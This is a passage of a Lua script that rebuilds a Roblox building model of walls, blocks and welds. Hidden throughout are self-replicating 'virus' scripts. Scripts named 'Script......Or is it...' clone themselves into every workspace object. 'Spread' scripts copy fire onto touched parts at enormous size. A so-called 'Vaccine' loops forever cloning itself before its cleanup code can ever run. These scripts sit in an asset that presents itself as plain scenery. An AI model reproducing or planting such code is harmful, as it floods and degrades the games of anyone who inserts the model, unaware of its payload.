- ManualWeld45.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld45.C1 = CFrame.new(-0.200027466, 0.899996758, 0.599988937, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
- ManualWeld45.Part0 = Part27
- ManualWeld45.Part1 = Part223
- ManualWeld45.part1 = Part223
- ManualWeld46.Name = "Smooth Block Model-to-spaceWall Strong Joint"
- ManualWeld46.Parent = Part27
- ManualWeld46.C0 = CFrame.new(-3.60000086, 0.599999666, 2.20000005, -0.99999994, 0, 0, 0, 0, 0.99999994, 0, 1, 0)
- ManualWeld46.C1 = CFrame.new(2.20001221, -0.100001335, 3.60000038, -1.19248798e-08, 1, 0, 0, 0, 0.99999994, 0.99999994, 1.19248806e-08, 0)
- ManualWeld46.Part0 = Part27
- ManualWeld46.Part1 = Part56
- ManualWeld46.part1 = Part56
- Script47.Name = "Vaccine"
- Script47.Parent = Part27
- table.insert(cors,sandbox(Script47,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part48.Name = "Smooth Block Model"
- Part48.Parent = Model0
- Part48.CFrame = CFrame.new(-2.81072211, 0.899998009, -9.95842648, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part48.Position = Vector3.new(-2.81072211, 0.899998009, -9.95842648)
- Part48.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part48.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part48.Anchored = true
- Part48.BottomSurface = Enum.SurfaceType.Smooth
- Part48.BrickColor = BrickColor.new("Bright red")
- Part48.Material = Enum.Material.DiamondPlate
- Part48.TopSurface = Enum.SurfaceType.Smooth
- Part48.brickColor = BrickColor.new("Bright red")
- Part48.FormFactor = Enum.FormFactor.Custom
- Part48.formFactor = Enum.FormFactor.Custom
- Fire49.Parent = Part48
- Fire49.Color = Color3.new(1, 0.678431, 0)
- Fire49.Enabled = false
- Fire49.Size = 30
- Fire49.Heat = 25
- Fire49.SecondaryColor = Color3.new(1, 0, 0)
- Fire49.size = 30
- Script50.Name = "Spread"
- Script50.Parent = Fire49
- table.insert(cors,sandbox(Script50,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue51.Name = "RobloxStamper"
- BoolValue51.Parent = Part48
- BoolValue52.Name = "RobloxModel"
- BoolValue52.Parent = Part48
- RotateP53.Name = "INfecTION"
- RotateP53.Parent = Part48
- RotateP53.BaseAngle = 0.25
- Script54.Name = "Script......Or is it..."
- Script54.Parent = RotateP53
- table.insert(cors,sandbox(Script54,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script55.Name = "Vaccine"
- Script55.Parent = Part48
- table.insert(cors,sandbox(Script55,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part56.Name = "spaceWall"
- Part56.Parent = Model0
- Part56.CFrame = CFrame.new(-6.21075201, 2.91999888, -8.35842896, -4.37114451e-08, 0, -1.00000131, 0, 1.00000131, 0, 1, 0, -4.37113883e-08)
- Part56.Orientation = Vector3.new(0, -90, 0)
- Part56.Position = Vector3.new(-6.21075201, 2.91999888, -8.35842896)
- Part56.Rotation = Vector3.new(0, -90, 0)
- Part56.Size = Vector3.new(3.5999999, 0.200000003, 6.39999819)
- Part56.Anchored = true
- Part56.BottomSurface = Enum.SurfaceType.Smooth
- Part56.Material = Enum.Material.DiamondPlate
- Part56.TopSurface = Enum.SurfaceType.Smooth
- Part56.FormFactor = Enum.FormFactor.Custom
- Part56.formFactor = Enum.FormFactor.Custom
- Fire57.Parent = Part56
- Fire57.Color = Color3.new(1, 0.678431, 0)
- Fire57.Enabled = false
- Fire57.Size = 30
- Fire57.Heat = 25
- Fire57.SecondaryColor = Color3.new(1, 0, 0)
- Fire57.size = 30
- Script58.Name = "Spread"
- Script58.Parent = Fire57
- table.insert(cors,sandbox(Script58,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue59.Name = "RobloxStamper"
- BoolValue59.Parent = Part56
- BoolValue60.Name = "RobloxModel"
- BoolValue60.Parent = Part56
- RotateP61.Name = "INfecTION"
- RotateP61.Parent = Part56
- RotateP61.BaseAngle = 0.25
- Script62.Name = "Script......Or is it..."
- Script62.Parent = RotateP61
- table.insert(cors,sandbox(Script62,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script63.Name = "Vaccine"
- Script63.Parent = Part56
- table.insert(cors,sandbox(Script63,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- ManualWeld64.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld64.Parent = Part56
- ManualWeld64.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld64.C1 = CFrame.new(-1.50006104, -0.399993896, 2.5, -1, -1.74845553e-07, 0, 0, 0, 1, -1.74845553e-07, 1, 0)
- ManualWeld64.Part0 = Part56
- ManualWeld64.Part1 = Part18
- ManualWeld64.part1 = Part18
- ManualWeld65.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld65.Parent = Part56
- ManualWeld65.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld65.C1 = CFrame.new(1.40008545, -0.399993896, -1.8999939, 1, 8.74227766e-08, 0, 0, 0, 1, 8.74227766e-08, -1, 0)
- ManualWeld65.Part0 = Part56
- ManualWeld65.Part1 = Part95
- ManualWeld65.part1 = Part95
- ManualWeld66.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld66.Parent = Part56
- ManualWeld66.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld66.C1 = CFrame.new(2.29998779, -0.399993896, -2.50001526, 1, 8.74227766e-08, 0, 0, 0, 1, 8.74227766e-08, -1, 0)
- ManualWeld66.Part0 = Part56
- ManualWeld66.Part1 = Part78
- ManualWeld66.part1 = Part78
- ManualWeld67.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld67.Parent = Part56
- ManualWeld67.C0 = CFrame.new(-1.79999995, 0.100000001, 3.19999909, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld67.C1 = CFrame.new(2.39996338, -0.399993896, -1.90000916, 1, 8.74227766e-08, 0, 0, 0, 1, 8.74227766e-08, -1, 0)
- ManualWeld67.Part0 = Part56
- ManualWeld67.Part1 = Part87
- ManualWeld67.part1 = Part87
- Part68.Name = "Smooth Block Model"
- Part68.Parent = Model0
- Part68.CFrame = CFrame.new(-2.81072211, 0.899998009, -10.358428, -1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, -1)
- Part68.Orientation = Vector3.new(0, 180, 0)
- Part68.Position = Vector3.new(-2.81072211, 0.899998009, -10.358428)
- Part68.Rotation = Vector3.new(-180, 0, -180)
- Part68.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part68.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part68.Anchored = true
- Part68.BottomSurface = Enum.SurfaceType.Smooth
- Part68.BrickColor = BrickColor.new("Bright red")
- Part68.Material = Enum.Material.DiamondPlate
- Part68.TopSurface = Enum.SurfaceType.Smooth
- Part68.brickColor = BrickColor.new("Bright red")
- Part68.FormFactor = Enum.FormFactor.Custom
- Part68.formFactor = Enum.FormFactor.Custom
- Fire69.Parent = Part68
- Fire69.Color = Color3.new(1, 0.678431, 0)
- Fire69.Enabled = false
- Fire69.Size = 30
- Fire69.Heat = 25
- Fire69.SecondaryColor = Color3.new(1, 0, 0)
- Fire69.size = 30
- Script70.Name = "Spread"
- Script70.Parent = Fire69
- table.insert(cors,sandbox(Script70,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue71.Name = "RobloxStamper"
- BoolValue71.Parent = Part68
- BoolValue72.Name = "RobloxModel"
- BoolValue72.Parent = Part68
- RotateP73.Name = "INfecTION"
- RotateP73.Parent = Part68
- RotateP73.BaseAngle = 0.25
- Script74.Name = "Script......Or is it..."
- Script74.Parent = RotateP73
- table.insert(cors,sandbox(Script74,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld75.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld75.Parent = Part68
- ManualWeld75.C0 = CFrame.new(0.200000018, -0.899999738, 0.200000003, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld75.C1 = CFrame.new(0.199996948, -0.899999619, 0.200000763, -1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, -1)
- ManualWeld75.Part0 = Part68
- ManualWeld75.Part1 = Part10
- ManualWeld75.part1 = Part10
- ManualWeld76.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld76.Parent = Part68
- ManualWeld76.C0 = CFrame.new(0.200000018, -0.899999738, -0.200000003, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld76.C1 = CFrame.new(-0.200000763, -0.899999619, -0.199996948, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld76.Part0 = Part68
- ManualWeld76.Part1 = Part48
- ManualWeld76.part1 = Part48
- Script77.Name = "Vaccine"
- Script77.Parent = Part68
- table.insert(cors,sandbox(Script77,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part78.Name = "spaceWall"
- Part78.Parent = Model0
- Part78.CFrame = CFrame.new(-6.91070318, 3.41999888, -7.85842896, -4.37114451e-08, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, -4.37113883e-08)
- Part78.Orientation = Vector3.new(0, 90, 0)
- Part78.Position = Vector3.new(-6.91070318, 3.41999888, -7.85842896)
- Part78.Rotation = Vector3.new(0, 90, 0)
- Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part78.Size = Vector3.new(0.599999368, 0.799999356, 0.599998891)
- Part78.Anchored = true
- Part78.BottomSurface = Enum.SurfaceType.Smooth
- Part78.BrickColor = BrickColor.new("Dark stone grey")
- Part78.Material = Enum.Material.DiamondPlate
- Part78.RightParamA = -0.10000000149012
- Part78.RightParamB = 0.10000000149012
- Part78.RightSurface = Enum.SurfaceType.Motor
- Part78.RightSurfaceInput = Enum.InputType.Constant
- Part78.TopSurface = Enum.SurfaceType.Smooth
- Part78.brickColor = BrickColor.new("Dark stone grey")
- Part78.FormFactor = Enum.FormFactor.Custom
- Part78.formFactor = Enum.FormFactor.Custom
- Fire79.Parent = Part78
- Fire79.Color = Color3.new(1, 0.678431, 0)
- Fire79.Enabled = false
- Fire79.Size = 30
- Fire79.Heat = 25
- Fire79.SecondaryColor = Color3.new(1, 0, 0)
- Fire79.size = 30
- Script80.Name = "Spread"
- Script80.Parent = Fire79
- table.insert(cors,sandbox(Script80,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue81.Name = "RobloxStamper"
- BoolValue81.Parent = Part78
- BoolValue82.Name = "RobloxModel"
- BoolValue82.Parent = Part78
- RotateP83.Name = "INfecTION"
- RotateP83.Parent = Part78
- RotateP83.BaseAngle = 0.25
- Script84.Name = "Script......Or is it..."
- Script84.Parent = RotateP83
- table.insert(cors,sandbox(Script84,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script85.Name = "Vaccine"
- Script85.Parent = Part78
- table.insert(cors,sandbox(Script85,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- ManualWeld86.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld86.Parent = Part78
- ManualWeld86.C0 = CFrame.new(0.299999684, -0.399999678, -0.299999446, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld86.C1 = CFrame.new(0.399963379, -0.399993896, 0.300003052, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld86.Part0 = Part78
- ManualWeld86.Part1 = Part87
- ManualWeld86.part1 = Part87
- Part87.Name = "spaceWall"
- Part87.Parent = Model0
- Part87.CFrame = CFrame.new(-7.51068115, 3.41999888, -7.75842619, -4.37114451e-08, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, -4.37113883e-08)
- Part87.Orientation = Vector3.new(0, 90, 0)
- Part87.Position = Vector3.new(-7.51068115, 3.41999888, -7.75842619)
- Part87.Rotation = Vector3.new(0, 90, 0)
- Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part87.Size = Vector3.new(0.400000006, 0.799999356, 0.600000024)
- Part87.Anchored = true
- Part87.BottomSurface = Enum.SurfaceType.Smooth
- Part87.BrickColor = BrickColor.new("Dark stone grey")
- Part87.Material = Enum.Material.DiamondPlate
- Part87.TopSurface = Enum.SurfaceType.Smooth
- Part87.brickColor = BrickColor.new("Dark stone grey")
- Part87.FormFactor = Enum.FormFactor.Custom
- Part87.formFactor = Enum.FormFactor.Custom
- Fire88.Parent = Part87
- Fire88.Color = Color3.new(1, 0.678431, 0)
- Fire88.Enabled = false
- Fire88.Size = 30
- Fire88.Heat = 25
- Fire88.SecondaryColor = Color3.new(1, 0, 0)
- Fire88.size = 30
- Script89.Name = "Spread"
- Script89.Parent = Fire88
- table.insert(cors,sandbox(Script89,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue90.Name = "RobloxStamper"
- BoolValue90.Parent = Part87
- BoolValue91.Name = "RobloxModel"
- BoolValue91.Parent = Part87
- RotateP92.Name = "INfecTION"
- RotateP92.Parent = Part87
- RotateP92.BaseAngle = 0.25
- Script93.Name = "Script......Or is it..."
- Script93.Parent = RotateP92
- table.insert(cors,sandbox(Script93,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script94.Name = "Vaccine"
- Script94.Parent = Part87
- table.insert(cors,sandbox(Script94,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part95.Name = "spaceWall"
- Part95.Parent = Model0
- Part95.CFrame = CFrame.new(-7.51068115, 3.41999888, -8.75842571, -4.37114451e-08, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, -4.37113883e-08)
- Part95.Orientation = Vector3.new(0, 90, 0)
- Part95.Position = Vector3.new(-7.51068115, 3.41999888, -8.75842571)
- Part95.Rotation = Vector3.new(0, 90, 0)
- Part95.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part95.Size = Vector3.new(0.39999938, 0.799999356, 0.600000024)
- Part95.Anchored = true
- Part95.BottomSurface = Enum.SurfaceType.Smooth
- Part95.BrickColor = BrickColor.new("Dark stone grey")
- Part95.Material = Enum.Material.DiamondPlate
- Part95.TopSurface = Enum.SurfaceType.Smooth
- Part95.brickColor = BrickColor.new("Dark stone grey")
- Part95.FormFactor = Enum.FormFactor.Custom
- Part95.formFactor = Enum.FormFactor.Custom
- Fire96.Parent = Part95
- Fire96.Color = Color3.new(1, 0.678431, 0)
- Fire96.Enabled = false
- Fire96.Size = 30
- Fire96.Heat = 25
- Fire96.SecondaryColor = Color3.new(1, 0, 0)
- Fire96.size = 30
- Script97.Name = "Spread"
- Script97.Parent = Fire96
- table.insert(cors,sandbox(Script97,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue98.Name = "RobloxStamper"
- BoolValue98.Parent = Part95
- BoolValue99.Name = "RobloxModel"
- BoolValue99.Parent = Part95
- RotateP100.Name = "INfecTION"
- RotateP100.Parent = Part95
- RotateP100.BaseAngle = 0.25
- Script101.Name = "Script......Or is it..."
- Script101.Parent = RotateP100
- table.insert(cors,sandbox(Script101,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script102.Name = "Vaccine"
- Script102.Parent = Part95
- table.insert(cors,sandbox(Script102,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part103.Name = "Smooth Block Model"
- Part103.Parent = Model0
- Part103.CFrame = CFrame.new(-9.6106596, 0.899998009, -10.358428, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part103.Position = Vector3.new(-9.6106596, 0.899998009, -10.358428)
- Part103.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part103.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part103.Anchored = true
- Part103.BottomSurface = Enum.SurfaceType.Smooth
- Part103.BrickColor = BrickColor.new("Bright red")
- Part103.Material = Enum.Material.DiamondPlate
- Part103.TopSurface = Enum.SurfaceType.Smooth
- Part103.brickColor = BrickColor.new("Bright red")
- Part103.FormFactor = Enum.FormFactor.Custom
- Part103.formFactor = Enum.FormFactor.Custom
- Fire104.Parent = Part103
- Fire104.Color = Color3.new(1, 0.678431, 0)
- Fire104.Enabled = false
- Fire104.Size = 30
- Fire104.Heat = 25
- Fire104.SecondaryColor = Color3.new(1, 0, 0)
- Fire104.size = 30
- Script105.Name = "Spread"
- Script105.Parent = Fire104
- table.insert(cors,sandbox(Script105,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue106.Name = "RobloxStamper"
- BoolValue106.Parent = Part103
- BoolValue107.Name = "RobloxModel"
- BoolValue107.Parent = Part103
- RotateP108.Name = "INfecTION"
- RotateP108.Parent = Part103
- RotateP108.BaseAngle = 0.25
- Script109.Name = "Script......Or is it..."
- Script109.Parent = RotateP108
- table.insert(cors,sandbox(Script109,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld110.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld110.Parent = Part103
- ManualWeld110.C0 = CFrame.new(0.200000018, -0.899999738, 0.200000003, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld110.C1 = CFrame.new(-0.200000763, -0.899999619, 0.199996948, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- ManualWeld110.Part0 = Part103
- ManualWeld110.Part1 = Part113
- ManualWeld110.part1 = Part113
